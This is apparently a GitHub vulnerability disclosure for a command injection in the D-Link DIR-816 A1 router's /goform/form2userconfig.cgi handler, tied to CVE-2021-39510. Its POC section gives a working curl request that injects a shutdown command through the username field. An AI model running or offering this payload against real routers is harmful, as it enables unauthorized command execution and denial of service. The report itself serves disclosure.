

main

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[main-DIR-816\\_A1\\_Command-injection](#) / [injection\\_A1.md](#)



doudoudedi update CVE ID

[History](#)

1 contributor

22 lines (13 sloc) | 919 Bytes

...

# report

## Describe

I found some vulnerabilities in the dir-816 750m11ac wireless router ,**Firmware version** is DIR816\_A1\_FW101CNB04

The HTTP request parameter is used in the handler function of /goform/form2userconfig.cgi route, which can construct the user name string to delete the user function. This can lead to command injection through shell metacharacters.

If the user can configure the router, it may cause unconditional command execution If the user can configure the router, it may cause unconditional command execution.

<https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10240>

## POC&&EXP

```
curl -i -X POST http://192.168.33.9/goform/form2userconfig.cgi -d
"username=Admin';shutdown;&oldpass=123&newpass=123&confpass=123&deluser=Delete&select=s0&hiddenpass=&submit.htm%3Fuserconfig.htm=Sen
```

Now it will shutdown

## CVE ID

CVE-2021-39510